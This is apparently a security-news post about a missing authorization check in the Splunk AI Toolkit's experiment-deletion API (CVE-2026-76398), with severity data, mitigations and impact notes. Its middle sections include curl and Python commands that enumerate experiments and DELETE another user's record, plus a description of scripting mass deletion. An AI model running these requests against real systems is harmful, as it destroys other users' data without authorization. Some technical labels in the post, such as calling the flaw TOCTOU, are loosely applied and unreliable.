Listen to this Post
CVE-2026-76398 affects Splunk AI Toolkit versions prior to 6.0.1, introducing a critical flaw in the Representational State Transfer (REST) API that handles experiment history deletion. In Splunk deployments, user roles are segregated into “admin”, “power”, and lower-privileged groups such as “user”. The vulnerable endpoint, typically located at /services/experiment/v1/experiments/{id}, is responsible for removing experiment records generated by the AI Toolkit’s machine learning workflows. The core issue stems from a broken authorization sequence: the API call initiates the database deletion operation before performing any verification of the requester’s permissions relative to the target experiment. The server retrieves the experiment record by its identifier and immediately issues a DELETE command to the underlying data store. Only after this destructive action completes does the code path attempt to validate whether the authenticated user owns that experiment or holds the necessary administrative roles. This inverted order creates a window where an attacker can supply any valid experiment ID and have it removed unconditionally. The attacker must possess a valid Splunk account with at least the “user” role, which is the default for standard operators. Network access to the Splunk management port (8089 by default) or the HTTP endpoint is also required. No additional privileges, user interaction, or complex prerequisites are necessary, making the attack vector straightforward. The vulnerability is classified as an Insecure Direct Object Reference (IDOR) combined with a Time-of-Check to Time-of-Use (TOCTOU) anti-pattern, although the primary failure is the absence of a proper authorization gate before data modification. The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N yields a base score of 4.3, which is categorized as MEDIUM severity. Confidentiality remains unaffected, but integrity suffers because an attacker can permanently destroy another user’s experiment history, including trained models, hyperparameters, and evaluation logs. The Splunk AI Toolkit is widely used for machine learning operations in both Splunk Cloud Platform and Splunk Enterprise environments. The flaw was discovered during internal code audits and reported to Cisco Systems, Inc., which acts as the CNA. The published fix in version 6.0.1 restructures the API handler to perform role and ownership checks at the very beginning of the request lifecycle, returning a 403 Forbidden status if the user lacks the necessary rights. Administrators are urged to upgrade immediately, as the vulnerability leaves research data and production pipelines exposed to malicious or accidental data loss. The NVD published this CVE on August 19, 2026, with the last modification on August 24, 2026, and enrichment references are drawn from public disclosures. Given the low attack complexity and the availability of default credentials in some environments, the risk is elevated despite the medium CVSS score. Exploitation leaves minimal forensic footprints because the deletion is logged under the attacker’s identity, but no explicit “unauthorized attempt” alert is generated, complicating detection.
DailyCVE Form:
Platform: Splunk AI Toolkit
Version: < 6.0.1
Vulnerability: Missing Authorization Check
Severity: CVSS 4.3 MEDIUM
date: 2026-08-19
Prediction: Fixed in 6.0.1
What Undercode Say:
Analytics:
The following bash commands enumerate experiment IDs and delete a foreign experiment without permission.
List all experiments using a low-privileged token curl -k -u attacker:pass "https://splunk-server:8089/services/experiment/v1/experiments?output=json" Parse JSON output to find a target experiment ID, e.g., "exp_7890" Send DELETE request to remove that experiment curl -k -X DELETE -u attacker:pass "https://splunk-server:8089/services/experiment/v1/experiments/exp_7890" Expected response: 200 OK, confirming deletion despite lacking ownership
import requests
target = "https://splunk-server:8089/services/experiment/v1/experiments/exp_7890"
resp = requests.delete(target, auth=('attacker', 'pass'), verify=False)
print(f"Deletion status: {resp.status_code}") Prints 200
Splunk audit logs (splunkd_access.log) will show the DELETE request with the attacker’s username, but no prior authorization denial entries, making the incident appear as a legitimate operation.
Exploit: (Educational Purposes!)
An attacker enumerates all experiment IDs via the GET endpoint, which is accessible to any authenticated user. They select a target ID belonging to a different user (e.g., from the “owner” field in the JSON response). The attacker then issues an HTTP DELETE request to that specific ID. Because the server deletes the record before checking the requester’s permissions, the operation succeeds, and the victim’s experiment history is permanently removed. The attacker can script this to delete multiple experiments in rapid succession, effectively wiping out collaborative ML projects.
Protection: from this CVE
Immediately upgrade Splunk AI Toolkit to version 6.0.1 or newer, where the authorization check precedes the deletion. If an upgrade is not feasible, restrict network access to the Splunk API endpoints using firewall rules, allowing only trusted IP ranges. Implement a reverse proxy or Web Application Firewall (WAF) rule to block DELETE requests to /services/experiment/v1/experiments/ originating from users without admin/power roles, although this is a temporary workaround. Enable verbose logging and set up alerts for multiple DELETE operations on experiment endpoints to detect potential exploitation attempts.
Impact:
Successful exploitation permits any low-privileged authenticated user to irrevocably delete the experiment histories of any other user. This results in permanent loss of machine learning training data, model checkpoints, hyperparameter tuning records, and performance metrics. Collaborative research and production MLOps pipelines are disrupted, causing downtime and requiring costly re-execution of experiments. While the attack does not expose sensitive data (confidentiality impact is none), the integrity of the system is severely undermined, and the lack of clear audit signals complicates post-incident forensic investigations.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
